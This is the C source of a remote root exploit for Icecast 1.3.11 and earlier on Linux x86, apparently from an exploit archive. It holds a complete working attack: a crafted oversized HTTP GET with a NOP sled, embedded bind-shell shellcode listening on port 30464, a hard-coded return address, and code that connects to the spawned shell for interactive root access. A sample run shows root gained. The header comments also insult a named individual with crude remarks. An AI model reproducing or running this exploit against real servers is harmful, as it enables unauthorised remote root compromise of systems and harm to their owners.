Icecast v1.3.11 and below remote root exploit for linux/x86. Binds a shell to port 30464. Tested against SuSE 7.2, Debian 2.2r2, and Slackware 8.0.
766b53ac8f37a9dae4525d7da3fbb07b12711f55801b3625d281dc809594f972
/*
* LAME REWRITE - LAME REWRITE - LAME REWRITE - LAME REWRITE - LAME REWRITE
*
* (stale, but was bored and thought I'd put out the proper version)
* (bug selfishly slaughtered in may, this one is for the archives)
*
* icx2.c - remote shell/root sploit for icecast 1.3.11 (fixed back in may)
*
* get icecast 1.3.12 at www.icecast.org, icecast is neat software
* and any self respecting internet radio supporter should use it and
* contribute to the project.
*
* icx2.c does it the proper way. I've had some complaints about
* the child friendliness of the original exploit. w00ps. Here ya go.
* you can send any further requests and questions to support@poundtemp.org
*
* Using the NOP space to the max and utilizing one hit wonder address
* should be a one hit-n-go type deal requiring no offsetting nor
* allignage. Provided you have the icecast servername. Which
* is really the crucial factor here. These are good things seeing
* how we only get one try :)
*
* Now on to the obligatory rant...
*
* Let the record show that setient (setient@cma2600.org)
* is a nimwit *sad panda face*. Fair warning to anyone
* dealing with this little fraud. Don't believe a word
* this slandering leprechaun says. Not even if he tries
* to seduce you with promises of hosting/shells/"exotic"
* hardware. Link of the day:
*
* http://www.cryptonet.org/idiots/setient/setient.txt
*
* Bitter much? Get over it. Move on. /exec -o uptime. Whatever. Sheesh.
*
* much lub(e) to mah ruffnecks in #temp..bringin da ruckus like what
*
* <setient> i bet they give each other sloppy seconds.
*
* d4mn str8!$@%!
*
* diz
*
* HERE BEGINS THE DREADED AND ALLTIME FAVORITE PORTION OF THE LAME REWRITE
*/
/*
(default config..so I'm lazy)
*snip*
[18/Jun/2002:19:04:01] Icecast Version 1.3.11 Starting..
[18/Jun/2002:19:04:01] Starting Admin Console Thread...
*snip*
-> [18/Jun/2002:19:04:01] Listening on port 8000...
-> [18/Jun/2002:19:04:01] Listening on port 8001...
-> [18/Jun/2002:19:04:01] Using 'your.server.name' as servername...
*snip*
diz@x:~/code> ./icx2 x 8000 your.server.name
sending string
.
.
.
sending string
$ uid=0(root) gid=0(root) groups=0(root) *snip*
$ Linux x 2.4.18 #1 Thu May 2 19:53:55 CEST 2002 i686 unknown
$
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
// need the ICECAST hostname to calc string length
// *snip* Using 'your.server.name' as servername...
#define ICECASTNAME "your.server.name"
// thanks to enormous amount of nop padding
// this middle of the road address should
// work on most linux boxen which is good
// cuz (normally) we only get one go
#define ONEHITWONDER 0xbeffe6ac
#define SLEEP 3
int opensock(char *hostname, int port);
int fsend(int sock, char *fmt, ...);
void handleshell(int sock);
char bindcode[] = // Taeho Oh, port 30464 bindcode
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
int
main(int argc, char **argv)
{
char *string;
unsigned int size = 0, diff = 0, i;
int sock;
if(argc == 1) {
fprintf(stderr, "icx (2) ... proper version ... diz\n");
fprintf(stderr, "usage: %s <host> <icecast_port> [ <icecast_hostname> ]\n", argv[0]);
exit(1);
}
if(argc != 4)
diff = (strlen(ICECASTNAME)+strlen(argv[2]));
else
diff = (strlen(argv[3])+strlen(argv[2]));
size = (8198 - diff + 1);
string = malloc(size);
memset(string, 0x90, (size-8-strlen(bindcode)-1));
memcpy(string+(size-strlen(bindcode)-8-1), bindcode, strlen(bindcode));
*(long *)&string[size-9] = ONEHITWONDER;
*(long *)&string[size-5] = ONEHITWONDER;
string[size-1] = '\0';
if((sock = opensock(argv[1], atoi(argv[2]))) < 0 )
exit(1);
fsend(sock, "GET %s HTTP/1.0\n\n", string);
free(string);
close(sock);
// sploits need dots..everyone knows this...zzz
for(i = 0; i < SLEEP; i++) {
sleep(1);
fprintf(stderr, ".\n");
}
// check bindshell
if((sock = opensock(argv[1], 30464)) < 0 ) {
fprintf(stderr, "attack not succesfull\n");
exit(1);
}
fsend(sock, "%s\n", "id; uname -a");
handleshell(sock);
exit(0);
}
int
opensock(char *hostname, int port)
{
struct sockaddr_in remote;
struct hostent *iplookup;
char *ipaddress;
int sfd;
if((iplookup = gethostbyname(hostname)) == NULL) {
perror("gethostbyname");
return -1;
}
ipaddress = (char *)inet_ntoa(*((struct in_addr *)iplookup->h_addr));
sfd = socket(AF_INET, SOCK_STREAM, 0);
remote.sin_family = AF_INET;
remote.sin_addr.s_addr = inet_addr(ipaddress);
remote.sin_port = htons(port);
memset(&(remote.sin_zero), '\0', 8);
if(connect(sfd, (struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) {
perror("connect");
return -1;
}
return sfd;
}
int
fsend(int sock, char *fmt, ...)
{
char sendbuf[8256];
va_list args;
memset(sendbuf, '\0', sizeof(sendbuf));
va_start(args, fmt);
vsnprintf(sendbuf, sizeof(sendbuf)-1, fmt, args);
fprintf(stderr, "sending string\n");
if(send(sock, sendbuf, strlen(sendbuf), 0) < 0) {
perror("send");
close(sock);
return -1;
}
va_end(args);
return 1;
}
void
handleshell(int sock)
{
char inbuf[4096], outbuf[1024];
fd_set fdset;
fprintf(stderr, "$ ");
while(1) {
FD_ZERO(&fdset);
FD_SET(fileno(stdin), &fdset);
FD_SET(sock, &fdset);
select(sock + 1, &fdset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &fdset)) {
memset(outbuf, '\0', sizeof(outbuf));
fgets(outbuf, sizeof(outbuf), stdin);
if(!strncmp(outbuf, "exit", 4)) {
write(sock, outbuf, strlen(outbuf));
close(sock);
return;
}
if(write(sock, outbuf, strlen(outbuf)) < 0) {
fprintf(stderr, "write error\n");
return;
}
}
if(FD_ISSET(sock, &fdset)) {
memset(inbuf, '\0', sizeof(inbuf));
if(read(sock, inbuf, sizeof(inbuf)) < 0) {
fprintf(stderr, "read error\n");
return;
}
fputs(inbuf, stderr);
fprintf(stderr, "$ ");
}
}
}